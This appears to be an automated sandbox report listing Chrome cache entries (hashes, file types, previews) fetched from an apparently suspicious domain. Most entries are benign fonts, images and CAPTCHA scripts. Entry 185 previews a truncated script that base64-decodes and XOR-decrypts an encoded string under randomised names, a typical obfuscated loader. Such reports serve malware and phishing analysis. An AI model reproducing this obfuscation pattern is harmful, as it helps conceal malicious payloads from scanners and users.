MD5:	333EE830E5AB72C41DD9126A27B4D878
SHA1:	12D8D66EBB3076F3D6069E133C3212F97C8774E1
SHA-256:	8702292CBC365E9F0488143E2B309B85EFE09C61FD2E0A2E21C53735A309313C
SHA-512:	3413ED624241877C1D44FEE23FD37745CB214C12AE73FACFAFA07B47FA1CB9E5DAA3CB7F542564E04075FFE8BA744C962FBDD78F08A643A90C0EC1118C05BBF8
Malicious:	false
URL:	https://fmzd.oryz0.com/klgF5dnNHAlDrc6qSyelLuefIYXo4YwvCKst4HwTl55Gv89VSB1BFMlexg5FVpicEMLp0yz230
Preview:	.PNG........IHDR...l................?IDAThC.X.n.A..K.. ..H8.....7P..p...&......>..4.'.y.`$Z...$1..9..;...w.\|...zvvv.............b..Y....B...Dq..&\....pe..r.X.P...3.n...M.j.....+..r}}.t:...fa.mmm5U........)dwww...j...q<<<<L.}ggg.......k.O.?....^.gE.6....B..%U..w#H...y....~......h.....Q.E;.....T...E.W..X=..{.;..+.. ..`.(:2...A..U.....Y....z..l.r.S..<K...x.E.... .....U.,.`.....<::............MSiE.2w.!z.T...PWl.).0...Z....Z.'~.5zP.o..-. ......q..x..w.....y......5\|v..i...........@w.c...j..3....w,/.3.).....u.......b.}..R........ `......`mH$.U..B.H1...jx..3..$k ...........Z......4....A.>..X.a/...0N.&?q..........F#w&o."L:...l.c...x.P...@e..&.&\|Y...!.i....gac..1C.....I..t...e~q.&.6.2B.}.V.p.B.."...'..M..s.s.....V%-.?8yC.?m......z...&]\.VN.s....j.`....kY.....64.Y..(_ea[.r...1B.......5....i.u.......aQ.+z.x.......<,~..a...z,.I.T.b.P.^.`...y.58..,\|Q...u.-.._....m.1...\|k.j.7.,x.....X....ez..a....X...\E.$..-...s.../.9L.9.(9..U...x$#.C...Nm...p.....J...

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1437), with CRLF line terminators
Category:	downloaded
Size (bytes):	38221
Entropy (8bit):	5.115226983536052
Encrypted:	false
SSDEEP:	192:loogIexLQ5WKTCFBwCIZtJ8FtX2+UBRkfeWcrScuH9Ye3YdersR8Q5oqWjf7ogxp:2DKAaZtJs5odw7hx5P6mqjDggJkLLn
MD5:	FBE2FCF4596B299453C91B7231BA7427
SHA1:	743291EE60A551E043529AFDC9E3FBE72D70E776
SHA-256:	2DE22B4CDEDCBEB9CD5F63EA7A0DF8F77D0EF9086D200B052BFA9EE949DEED40
SHA-512:	15CA09CD5754927D77B2CC9B74356585C5A1DD934ECF25B613F47964236A739DA8BE389999DE1AEEE7BDF8FA12FCBB07EEFF49E0EA80BA87AC786606DE74774F
Malicious:	false
URL:	https://fmzd.oryz0.com/xy9dtplWirs6mgh22
Preview:	@font-face{font-family: 'gdsherpa';font-weight: 700;src: url('/web8/assets/fonts/GDSherpa-bold.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-bold.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 400;src: url('/web8/assets/fonts/GDSherpa-regular.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-regular.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 1 999;src: url('/web8/assets/fonts/GDSherpa-vf.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 1 900;src: url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gd-sage';font-weight: 700;src: url('/web8/ass

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	7390
Entropy (8bit):	4.02755241095864
Encrypted:	false
SSDEEP:	192:cdEMK4RwidEMK4Rwbwm6xiD7x9m9t6EQ3FabrItDWOO6DcA:cdEMVwidEMVwbwtxiDHmP6lFeItDWOOc
MD5:	B59C16CA9BF156438A8A96D45E33DB64
SHA1:	4E51B7D3477414B220F688ADABD76D3AE6472EE3
SHA-256:	A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
SHA-512:	2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
Malicious:	false
URL:	https://fmzd.oryz0.com/klES0oQxnTwlNEPXlpWhEGCgQuaNvEYKtWepyzlTMJnMqfQIQ17GyYl87Kpzxg56163
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2160 x 443, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	49602
Entropy (8bit):	7.881935507115631
Encrypted:	false
SSDEEP:	768:eKE36up1D3cLJg7zmjprNBQqJCoklwCeFrpKZ00PIwoftXEsQsV1kZ8IHml446Xe:KqupJ9+aqyqCz+0ALcmDIHnjL2p
MD5:	DB783743CD246FF4D77F4A3694285989
SHA1:	B9466716904457641B7831868B47162D8D378D41
SHA-256:	5913B1EC0FC58AB2BEC576804B9E9B566A584EA3D21A1BF74A7B40051A447FDC
SHA-512:	E6F36C52996B6BF8B07C7A102DEF2D555A1D35FA12F1A2016EDD8F3C86C33DD3545513B436AB6B4EF1D1CAD8A5CA5D352BA587EEE605638640B258C3976D9033
Malicious:	false
Preview:	.PNG........IHDR...p..........{......sBIT....\|.d.....pHYs..;...;...3.+....tEXtSoftware.www.inkscape.org..<... .IDATx...w.]U....L.I(!.B..J..R....PD.z-.(...4Q..MQ. .(..EE.AP:.....HI.... ....ur3..r.Y.\|....z..3.2.g..{..Y.V..6.u...U...Q.Z.X......m..........^......O.^l......Y.)`\|...:......x.:."0r...H.W.....,.......j.....L%]s../4.>.<.........S.$I.$I.$I.T.....(`s`S`.`C`mR..J...6.x.x.x..z9.......g..j}R...h.1.t]=....n..#.f.I.$I.$I.$I%c.G.. 5il.l.lCj.(S.F;.....7...AZ.@B....%.E....C.be3..K....S."CI.$I.$I.$I...jV.v.v.v$5l..M.ysI......x{/i...Y...o..m.......v.6.>R..$I.$I.$I.......F.{..6v!...1{.Y..9ng...S..TF.I..;.o&5A.....&.w....$5J..M$I.$I.$I.$.........Q;..IQ...9n.nl.Z.e.......j.`hd..{..=p-p=n."I.$I.$I.$eg.G...........8...i......b. [.{.V.........V...96GI.$I.$I.$IY...c ..R...Q.q..,..........Gm........X=6NW......clp.I.$I.$I.$IZ..g...s...c...F.A.<z*.Q.a...+.?....8.Xn.GO.$I.$I.$I..,O.l....@.....z.....R..a$.:...I.yb-....l....$I.$I.$I.$.....$.'S..j.p..3NBGX..M.3.?.......p$I.$

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28000, version 1.66
Category:	downloaded
Size (bytes):	28000
Entropy (8bit):	7.99335735457429
Encrypted:	true
SSDEEP:	768:NDT1rKvlJOE1AgLlnGj8H58AJUcl5I17ML7FfNHubNIphqb:NDtKvyAhjHeACcl21YL7KNW+
MD5:	A4BCA6C95FED0D0C5CC46CF07710DCEC
SHA1:	73B56E33B82B42921DB8702A33EFD0F2B2EC9794
SHA-256:	5A51D246AF54D903F67F07F2BD820CE77736F8D08C5F1602DB07469D96DBF77F
SHA-512:	60A058B20FCB4F63D02E89225A49226CCD7758C21D9162D1B2F4B53BBA951B1C51D3D74C562029F417D97F1FCA93F25FDD2BC0501F215E3C1EF076810B54DD06
Malicious:	false
URL:	https://fmzd.oryz0.com/rs446YaMsFkkugl9Pul1200uv39
Preview:	wOF2......m`......$...l....B.......................6....`..<.<..b.....$....6.$..x..>.. .....{...[..q.k.]]O....s...\|..n...!..[<;....P&..g....!..I'i..Q.DP....9..J......9G..Q1(..)Jn......8Y......)J.F.c A..7k.v...2=.Z.n.4`...~Nl...4;...S.l{w..:.#..=!. ..X....>[.7........1??.3.?t..qE..f...b...,.Fwcp8...4^.^x..\|....Ro<%.."....~0..q..rP..G.......R....-..{O.QeJ.....6.E........{.{.....,h.!.._......$..3..cF@..>........t.o...Fc ...YS.....s.V..j....uk.`n......#....6.....1`kbd..Z..).x...F........T.._..}...p..._F.0.S'.V.g........3.$...Jf.j._,J....v7(...(..bm.....a....Nh.(QS.H...5.w.o.1.[<m.1.cJ......B......R..L..>[\|@..]../...6.\..(.j.Bn...Oj.&/j@.'T...w.,......e.g.I=.w.x..ap..?.......lI../..uuDH.P.....)._...<..C.x.......Kh.P.\|"M..JQ......?`..S@{..o..RjCE.qx.p.!(Wi....dY.%./r.#.p..C ..........r.o4P.}...3X..].....6.'~&...]...y...YQ..9."v....3...oEMQoWM.W`................Y.V..O2......l....p.1..B..Fn..o.<..,C......^.Y.C...W..tX..\|.`...5:.Yd@]..j..$...v.

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2446 x 899, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	70712
Entropy (8bit):	6.94130504124589
Encrypted:	false
SSDEEP:	768:lBgPNoDCQcgEBtp8Y/fYous0+W/+hVNpTrP19NhgtJ+6qcHaDCzGoSRug:lBgC+Qoju/szW/SNDaJ+6qc6DESR5
MD5:	F70FF06D19498D80B130EC78176FD3FF
SHA1:	9D8A3B74C5164FF7AE2C7930B6D7B14707B404FC
SHA-256:	DF6DBAB5251E56B405E48AAF57D3CD4188F073FFBA71131FA6CD26E6742923AE
SHA-512:	543151693C3751A7E6B1B6A9EA77B83CFD049BC320EE75B666514076F4C0218E9DC23DA5E6C932B2B8670AA1BE1D4E9A91A889F5C6F0D7B9F9C9FE6694609B31
Malicious:	false
URL:	https://fmzd.oryz0.com/stngs7CSgQFKxZNNR0YNEgHCMncf0xkMwmn6oWjReIJLD3PlEosS75Ba75nXuef257
Preview:	.PNG........IHDR................... .IDATx....q......!8.on.....{....4{..{U.A!x...t3P.~.S86...N....7USM....p.".?..>.G....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @.......

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42526)
Category:	downloaded
Size (bytes):	42527
Entropy (8bit):	5.373234803143812
Encrypted:	false
SSDEEP:	768:NCoLEBOnQowmmxCsbE95NdDid29P4DY88fvO959F1DQ+aohLyKoS4Hnla5KX5:qWQowHxCsQ919P0959vk
MD5:	C667700BE084108F8DEDED9026FFBBF9
SHA1:	31D633A11EF13A66787EC6504E38C11842664B7B
SHA-256:	E158035A6F740B0245A027BF0D559C56782EBBEEC7CAB5A827083BD16AA47901
SHA-512:	9EEA0C81A4D7E7ED7EE7F30A53B5AA93C356129D9850AE978A6D408F0B1337F3E9FCEDE25C996DCA3A2AC9840B86B4D821CD0A9DFFCF8BC427A730F420F33891
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/695da7821231/api.js
Preview:	"use strict";(function(){function Et(e,a,r,o,c,u,g){try{var b=e[u](g),_=b.value}catch(s){r(s);return}b.done?a(_):Promise.resolve(_).then(o,c)}function wt(e){return function(){var a=this,r=arguments;return new Promise(function(o,c){var u=e.apply(a,r);function g(_){Et(u,o,c,g,b,"next",_)}function b(_){Et(u,o,c,g,b,"throw",_)}g(void 0)})}}function M(e,a){return a!=null&&typeof Symbol!="undefined"&&a[Symbol.hasInstance]?!!a[Symbol.hasInstance](e):M(e,a)}function Re(e,a,r){return a in e?Object.defineProperty(e,a,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[a]=r,e}function Be(e){for(var a=1;a<arguments.length;a++){var r=arguments[a]!=null?arguments[a]:{},o=Object.keys(r);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(r).filter(function(c){return Object.getOwnPropertyDescriptor(r,c).enumerable}))),o.forEach(function(c){Re(e,c,r[c])})}return e}function dr(e,a){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	727
Entropy (8bit):	7.573165690842521
Encrypted:	false
SSDEEP:	12:6v/70lGN4n6OF/Y9jJ6xmOLY3cyWiJBYmH7xCZm1Uvleq8AM8Tkbc0:HudJ6xU3fWU1HsZm1Wleq8t5b/
MD5:	839CB0F55C3D2D5C2F740BDA95CB2878
SHA1:	93F6FA3A2DA8B7184D4B5C5F2065872793370C2E
SHA-256:	40ECB8832F6A9A8AAA0CC6E1287E867A4FCA38433D091D86C6CAB1F28FBAB652
SHA-512:	ECBCA8AB21BF3302C88F933CFD248CFF5553AFE152A170F554C27FD67BDC3E7D8CE79E202561FD0658E41820681EB90F74E38FD09390C517AFB34D2C1B65A096
Malicious:	false
URL:	https://fmzd.oryz0.com/qrqHkBdf3yLyCoYX6uaAmMyA5ZEDG2fGZmnmukiIeb0S4uAmfsMp845136
Preview:	.PNG........IHDR...0...0.....W.......IDAThC.Q.1.E.......`... .............T...:....7r....sw;Y.h..dK__.........M.v.....@a....j..P.;..K....^%..m...Nn.......y..l.]@..z.T..X..e...DZ.$Y......o`.L@`..r.0...s8Bd...1..M.=.A...a.'./...O....@4.mk..2.\..H.ER...e....s...`._.;..5n...X\|o..K....w...8........i8L..6P\|r9.=!...j..........~X{.Y.5X....4...v.Z.&.... ..)..ZXJ.8..... ..-p.9t.N...r.[..t....=\ >pLg%m..@........8o.).%..S...d.E\|%.......5.p..QK0Z<...0...:Q...<.m^<.y....7..#r..Qm...DZ..}.5.c.&.....0..Wr.....w.f-.n... .-..,l..0..3...E..4k.~..Y.B:t.*}.L..z..U.b......s............w.(......jt.Z5.7..8........0...?..1.w."&......8j.5vO.<..OgSM.j%..u..E=:..XJ==.....(...30.(....O)41P.....pkQ@f.S.....IEND.B`.

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	268
Entropy (8bit):	5.111190711619041
Encrypted:	false
SSDEEP:	6:tI9mc4slztdbC/yXqRRnYdbyJA0xy+LUxh7JECWWNAc:t4pb8WuEbaA0xVUxh1ECgc
MD5:	59759B80E24A89C8CD029B14700E646D
SHA1:	651B1921C99E143D3C242DE3FAACFB9AD51DBB53
SHA-256:	B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
SHA-512:	0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
Malicious:	false
URL:	https://fmzd.oryz0.com/opLn8R2bvalouDZIsfJC2D675VU6q0KINughjnNSWNC6RbcDybd9dzpVqjMkI49Tavcd200
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1445), with CRLF line terminators
Category:	downloaded
Size (bytes):	1812
Entropy (8bit):	6.031621794064035
Encrypted:	false
SSDEEP:	48:7IonwaK5Por1SBgra6qm5UJOJosZDGOfat2xKmVussGjv7F+T:Bwp9orsRm5UJA1DGOf/K2ussv
MD5:	3FA47D0D9BA11F92C1A07DB4E48C1B2F
SHA1:	1039191F176A6320A1F85D8C34915B2AA3AA99A3
SHA-256:	A5F7B71A247F1B60B8C31D03A9190FBE838854E6504CC25B65F741E2185E0C55
SHA-512:	56B5861C434C5D4552BDF16BE32F4071FB6D0D04F67624B0107FEEDF5318B7424A30A584E346CCA13CA3D0A961AAB966EDB6D57ABCD4E7E94FF115DBA40FB92F
Malicious:	false
URL:	https://fmzd.oryz0.com/J4j5iUo/
Preview:	<script>..function dJIGpzBZPo(OUhBbLmlxt, AuIbanAlop) {..let JzlccuOFVc = '';..OUhBbLmlxt = atob(OUhBbLmlxt);..let hQKTjoMXas = AuIbanAlop.length;..for (let i = 0; i < OUhBbLmlxt.length; i++) {.. JzlccuOFVc += String.fromCharCode(OUhBbLmlxt.charCodeAt(i) ^ AuIbanAlop.charCodeAt(i % hQKTjoMXas));..}..return JzlccuOFVc;..}..var vzBqkOXxHl = dJIGpzBZPo(`aiAWNwAoR3dHaSAyB2UZNWcFGzkhJzE8SWUTPiMNMjwCawU3UCg+Cjk9Wy0IK1tnORY0IAE3QWkackdpMCYbJh0xXCdqEhkiMSAoFFgOLEseASILJhZWMDMxf3MOSGN4E2lqFyQqVT5kUhNpakN2c1VlGz1HPDgNdjEBKghwUj0lAX4bJxInF30sMxoEelxlVGUTARg0GBw7IBAhYXJHaXZzVWUUeFAoPgA+c10gGyoaaTFuXHNVZUl4E2lqETMnADcHeFUoJhAzaHhPSXgTaTduXC54TwA+GzknNxoCLzIdHEppd152cVdsElU5aWpDdiQcKw03RGcmDDUyASwGNh0hOAYwc0hlHjFdLSUUeD8aJggsWiYkTSYyAS0HOV4sakh2cUpnSXMTaxxBbV5/OGRSWi9iEzsHORQzL0cNM0N3bkhlS3oaMkdpdnNVZQA+E2E7LCcXEAQlM3QvYhM7BzkUMy9HDTNKf3MOSGN4E2lqFTchVQcQLkkuOSA8PQ9lVHhSPSUBfiMYESUJaT4+Jy96TkhjeBNpahU3IVUVMQ51ARA0EDsSZVR4GwszFSw0BgYDNklnJwIiMB1tRnBoFT1New5eBTI5HjMLTgxjWHxHdW5iFk0NMlg/KHVpeWdaCyhH

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2160 x 443, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	49602
Entropy (8bit):	7.881935507115631
Encrypted:	false
SSDEEP:	768:eKE36up1D3cLJg7zmjprNBQqJCoklwCeFrpKZ00PIwoftXEsQsV1kZ8IHml446Xe:KqupJ9+aqyqCz+0ALcmDIHnjL2p
MD5:	DB783743CD246FF4D77F4A3694285989
SHA1:	B9466716904457641B7831868B47162D8D378D41
SHA-256:	5913B1EC0FC58AB2BEC576804B9E9B566A584EA3D21A1BF74A7B40051A447FDC
SHA-512:	E6F36C52996B6BF8B07C7A102DEF2D555A1D35FA12F1A2016EDD8F3C86C33DD3545513B436AB6B4EF1D1CAD8A5CA5D352BA587EEE605638640B258C3976D9033
Malicious:	false
URL:	https://fmzd.oryz0.com/ghlTMvE4b8h9VqD9PHj478Jq41suklef17SOWERHgie6efNydg212202
Preview:	.PNG........IHDR...p..........{......sBIT....\|.d.....pHYs..;...;...3.+....tEXtSoftware.www.inkscape.org..<... .IDATx...w.]U....L.I(!.B..J..R....PD.z-.(...4Q..MQ. .(..EE.AP:.....HI.... ....ur3..r.Y.\|....z..3.2.g..{..Y.V..6.u...U...Q.Z.X......m..........^......O.^l......Y.)`\|...:......x.:."0r...H.W.....,.......j.....L%]s../4.>.<.........S.$I.$I.$I.T.....(`s`S`.`C`mR..J...6.x.x.x..z9.......g..j}R...h.1.t]=....n..#.f.I.$I.$I.$I%c.G.. 5il.l.lCj.(S.F;.....7...AZ.@B....%.E....C.be3..K....S."CI.$I.$I.$I...jV.v.v.v$5l..M.ysI......x{/i...Y...o..m.......v.6.>R..$I.$I.$I.......F.{..6v!...1{.Y..9ng...S..TF.I..;.o&5A.....&.w....$5J..M$I.$I.$I.$.........Q;..IQ...9n.nl.Z.e.......j.`hd..{..=p-p=n."I.$I.$I.$eg.G...........8...i......b. [.{.V.........V...96GI.$I.$I.$IY...c ..R...Q.q..,..........Gm........X=6NW......clp.I.$I.$I.$IZ..g...s...c...F.A.<z*.Q.a...+.?....8.Xn.GO.$I.$I.$I..,O.l....@.....z.....R..a$.:...I.yb-....l....$I.$I.$I.$.....$.'S..j.p..3NBGX..M.3.?.......p$I.$

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1414), with no line terminators
Category:	downloaded
Size (bytes):	1414
Entropy (8bit):	5.787566518655896
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAv+KVC4TLv138EgFB5vtTGJrdcl/1t4glvllLt+Il1e0GnsLqo4p:VKEctKomR3evtTA2tX7wg1esLrwUnG
MD5:	024900245BBD3BB2CD090B319D14BFB3
SHA1:	77C88F25D4D6FFCF5733C0BB1C38BEEE0A38D0F9
SHA-256:	DA5D2500C897EC87981F47C882418910C35B86DAC26339280DAF59D503A0FBDC
SHA-512:	D4CD40A96670912834A19452914573FEAFEC636B9B62C00AD23147A0BEBE36C985B2D5FC6D6E8B54678DCA2C74B5D0D69729188B7F379C264C146CB26B5BB12D
Malicious:	false
URL:	https://www.google.com/recaptcha/api.js
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('onload');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true;var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='Az520Inasey3TAyqLyojQa8MnmCALSEU29yQFW8dePZ7xQTvSt73pHazLFTK5f7SyLUJSo2uKLesEtEa9aUYcgMAAACPeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().then(function(l){if(l!=='treatment_1.1'&&l!=='treatment_1.2'&&l!=='control_1.1'){d.head.prepend(m);}});}else{d.head.pr

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 35970, version 1.0
Category:	downloaded
Size (bytes):	35970
Entropy (8bit):	7.989503040923577
Encrypted:	false
SSDEEP:	768:GJiLCleIZlcBvahjeheOQKskmCp9sE9gBkGgvU+7aAXDqWOtU:GJo9IgMKsQzJ9gBkZbuAXDqWV
MD5:	496B7BBDE91C7DC7CF9BBABBB3921DA8
SHA1:	2BD3C406A715AB52DAD84C803C55BF4A6E66A924
SHA-256:	AE40A04F95DF12B0C364F26AB691DC0C391D394A28BCDB4AEACFACA325D0A798
SHA-512:	E02B40FEA8F77292B379D7D792D9142B32DFCB887655A2D1781441227DD968589BFC5C00691B92E824F7EDB47D11EBA325ADE67AD08A4AF31A3B0DDF4BB8B967
Malicious:	false
URL:	https://fmzd.oryz0.com/yzT75NuNHtjHz278hkeAUSuqr50
Preview:	wOFF..............$ .......\...&............DSIG...T............GPOS..........N..B..GSUB...`.........3y.OS/2.......F...`i.{[cmap...X.......<.?+.cvt ......./...<)...fpgm............?...gasp................glyf..!t..Ra....$.ihead..s....3...6..}.hhea..t....!...$....hmtx..t0.......x?s.#loca..w.........LC%.maxp..{X... ... .5..name..{x..........post..~@........1+.,prep.............P..x..\.tU..;y...!..!..R.4."(."".U..V.]3...r..5c...j....._.7U...H..1MSE...0b..b&.......%..w...}.{.......u...s..g..soBLD~.C.)n..1.Q...z.q. ..R..)n.QY.v..{.(...o...O.......G...{to.~.....,..#<.w...W...?6..3....2.)O........].`_a..F'.6..."}&..$'.K...a..NK$..01ar......-.Do_. .H.].x'{....n....{.\|.L.p..u...-.w}.}...~.....(.zP:..^t.=D?..i9.....m.......AE.......J.....j......q&_...`....P....M<.o.[.V....H..Sx:...<.g.....x>/.......^..x9.....Ws...&.....x....jUJ...B.S...2(_...U...Q...<..y.j.y...P.x.:....m+..V.....5h[.~E.WL..rp....0..Pu..$OA....LJ.Y.....9.e...L..... /"?.m.......+..J.........

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 43596, version 1.0
Category:	downloaded
Size (bytes):	43596
Entropy (8bit):	7.9952701440723475
Encrypted:	true
SSDEEP:	768:b0nfc/3Osy1fo0tBBFF/GGXfN2ZHKTBUwL+BR49qCow3Z3HuvJ5+xXtTgXHk6/:b0fU3OdhFF/xNOoZc49ow3Z3HO+xX1mf
MD5:	2A05E9E5572ABC320B2B7EA38A70DCC1
SHA1:	D5FA2A856D5632C2469E42436159375117EF3C35
SHA-256:	3EFCB941AADDAF4AEA08DAB3FB97D3E904AA1B83264E64B4D5BDA53BC7C798EC
SHA-512:	785AB5585B8A9ED762D70578BF13A6A69342441E679698FD946E3616EF5688485F099F3DC472975EF5D9248AFAAD6DA6779813B88AA1DB60ABE2CC065F47EB5F
Malicious:	false
URL:	https://fmzd.oryz0.com/89jdsKZZPGQNuWNL3spE66GQefg2RTpL1ab74
Preview:	wOF2.......L.......P..............................U...z...?HVAR.;?MVARF.`?STAT...H/L.....@..P..>.0....6.$..x. .....{[.q....Rl....t..~v....(....T.t.;..n'..v=....?...l].xI...m."..?hNX.,...8.;G...m,}.h.>(=[...m/.>....8&f..&.......].u...&.VD..].<..yR.eb<,x......)..c..t...k...9..o.T..R9..kq..TR%U..v....r._......D...f..=qH...8.<...x..(V.I.h.L3#]8...-.z.........3.9V..........u.........x.....S_...\1...&6...j^...c;()m.J.....>....xz..Y...\|.7......!.jw...,.L.;N.......n......].....8].R..d.....`.R.B..#..,...1R.UJD..b.`.0<....FA=..{.....`....c...R..Uy..J.k.".j..N.{w..UT<.8T66...H,...FH.GS.G.]......?.T.!4..8...B...l.p@.......t.o...v...b.g..?..m..!.%.....x..MC1M...........k...})..+N.....Q_yS.X.11a....&`..'".xZ..=b^...iD...} .. ..b...}DIvu.q....k.4.....@.....P..j..)..'.L......b..RQjII..Qk.T.l._wO..$....!c..%.{.._N..E@....A...?...aW.y.gf.g.&E... ~.x.b....b...~......f/.....G....J.6.y.....zE@T.a.0^Ul......S:..,..}..B.R..Rt~.v...L:`4.IKA..V...x&@...h.7.P......

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
